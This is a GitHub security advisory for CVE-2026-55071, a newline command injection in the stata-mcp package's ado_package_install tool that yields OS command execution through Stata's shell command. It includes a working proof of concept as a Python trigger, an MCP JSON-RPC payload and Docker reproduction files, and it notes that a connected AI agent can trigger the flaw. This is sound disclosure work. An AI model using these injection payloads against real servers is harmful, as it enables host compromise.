GitHub Advisoryadvisory · PyPI

GHSA-49m4-vp58-wgc9 MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`

HIGH Published 2026-08-12 Modified 2026-08-12 Official page ↗
Aliases
CVE-2026-55071
Ecosystem
PyPI
Packages
stata-mcp
Severity
High
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-94
Reviewed
2026-08-12

Affected packages

• PyPI stata-mcp: < 1.19.0 → fixed in 1.19.0

Description

Stata Command Injection via Unsanitized `package` in `ado_package_install` Summary The `ado_package_install` MCP tool in `stata-mcp` concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the `package` argument to inject arbitrary Stata commands. Because Stata supports a `shell` escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default `all` profile, so no non-default configuration is required. Base CVSS score is 8.4 (High). Details The vulnerability originates in `SSC_Install.install()`: ```python src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16 def install(self, package: str) -> str: install_command = f"ssc install {package}{self.REPLACE_MESSAGE}" runner_result = self.controller.run(install_command) ``` The `package` parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim: ```python src/stata_mcp/stata/stata_controller/controller.py:98-99 Send the command self.child.sendline(command) ``` `pexpect.sendline()` writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's `shell` (and `!`) commands execute an OS shell command, a newline-delimited payload results in OS command execution. The full source-to-sink data flow is: 1. Exposure — `src/stata_mcp/mcp_servers.py:626-632`: `_TOOL_REGISTRY` registers `ado_package_install` in the `all` profile. 2. Default activation — `src/stata_mcp/cli/_handlers.py:295-300`: when no `--core`/`--all` flag is given the profile defaults to `all`, so the tool is always enabled. 3. Propagation — `src/stata_mcp/mcp_servers.py:308-349`: the MCP argument `package` is passed to `installer(...).install(*args)` without validation. 4. Sink construction — `src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15`: `package` is interpolated into `install_command`. 5. Delivery — `src/stata_mcp/stata/stata_controller/controller.py:99`: `self.child.sendline(command)` sends the attacker-influenced string to Stata. A guard/blacklist (`src/stata_mcp/guard/blacklist.py:41-60`) registers `shell`, `!`, `winexec`, `unixcmd`, and similar strings as dangerous commands, but the `GuardValidator` that enforces this list is invoked only on the `stata_do` path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack. PoC Prerequisites • Unix-like host with a configured Stata CLI, or use the provided Docker image which replaces the Stata binary with a minimal Python stub (`fake_stata.py`) that honours the `shell` command. Container-based reproduction (no Stata license required) ```bash Build (run from the repository root) docker build -t stata-mcp-poc-001 \ -f vuln-001/Dockerfile \ reports/pypiAi_828_SepineTam__stata-mcp/ Run docker run --rm stata-mcp-poc-001 ``` Direct Python trigger (unmodified source) ```python import os from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install MARKER = "/tmp/stata_mcp_ado_poc" PAYLOAD = f"outreg2\nshell touch {MARKER}\n//" installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10) installer.install(PAYLOAD) assert os.path.exists(MARKER), "RCE not confirmed" print("RCE CONFIRMED — marker file created") ``` The payload `"outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//"` is expanded by the f-string at `ssc_install.py:15` into: ``` ssc install outreg2 shell touch /tmp/stata_mcp_ado_poc //, replace ``` Stata executes the second line as an OS shell command. The trailing `//` comment neutralises the `, replace` suffix so Stata does not raise a syntax error. MCP JSON-RPC trigger ```json { "tool": "ado_package_install", "arguments": { "source": "ssc", "package": "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//", "is_replace": true } } ``` Expected output ``` [+] PASS - RCE CONFIRMED [+] Marker file exists: /tmp/stata_mcp_ado_poc [+] The injected Stata 'shell' command was executed by the REPL. ``` Phase 2 dynamic reproduction confirmed the marker file `/tmp/stata_mcp_ado_poc` was created inside the Docker container, and `install()` returned a string containing the injected command: ``` Installation State: False ssc install outreg2\r\nshell touch /tmp/stata_mcp_ado_poc\r\n//, replace ``` Impact This is a Code/Command Injection (RCE) vulnerability. Any principal who can call the `ado_package_install` MCP tool or the equivalent Python API — including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed — can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server. Because the tool is registered in the default `all` profile and `all` is the default active profile, no misconfiguration by the victim is required. All users of `stata-mcp` on the affected version who run `stata-mcp server` are impacted. Concrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account. Reproduction artifacts `Dockerfile` ```dockerfile Dockerfile for VULN-001 dynamic reproduction Build context must be the parent directory: docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile . Vulnerability: Stata Command Injection via unsanitized `package` in SSC_Install.install() (ssc_install.py:15). Strategy: replace the real Stata binary with a minimal Python script (fake_stata.py) that honours the 'shell ' Stata command. The vulnerable stata-mcp code is installed unmodified from the repo. FROM python:3.11-slim Install pexpect -- the only runtime dependency required by the PoC (StataController imports pexpect; all other imports are stdlib-only). RUN pip install --no-cache-dir pexpect==4.9.0 ------------------------------------------------------------------ Fake Stata binary ------------------------------------------------------------------ Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover it and the PoC can reference it by absolute path. COPY vuln-001/fake_stata.py /usr/local/bin/stata RUN chmod +x /usr/local/bin/stata ------------------------------------------------------------------ Vulnerable package (unmodified source) ------------------------------------------------------------------ COPY repo/src /workspace/src ENV PYTHONPATH=/workspace/src ------------------------------------------------------------------ PoC script ------------------------------------------------------------------ COPY vuln-001/poc.py /workspace/poc.py WORKDIR /workspace CMD ["python3", "/workspace/poc.py"] ``` `poc.py` ```python !/usr/bin/env python3 """ PoC for VULN-001: Stata Command Injection via unsanitized `package` in `ado_package_install` (SSC path). Vulnerable code: ssc_install.py:15 install_command = f"ssc install {package}{self.REPLACE_MESSAGE}" controller.py:99 self.child.sendline(command) Attack: embed a newline in `package` to inject an additional Stata command. package = "outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//" The constructed command string becomes: ssc install outreg2 shell touch /tmp/stata_mcp_ado_poc //, replace pexpect delivers this multi-line string verbatim to the Stata REPL via sendline(), causing Stata to execute 'shell touch /tmp/stata_mcp_ado_poc', which runs the OS command 'touch /tmp/stata_mcp_ado_poc'. Marker file creation confirms RCE. """ import os import sys FAKE_STATA = "/usr/local/bin/stata" MARKER_FILE = "/tmp/stata…

Related

Alias · CVE (1)

  • CVE-2026-55071 MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. vulnerability

Weakness · CWE (1)

  • CWE-94 Improper Control of Generation of Code weakness

References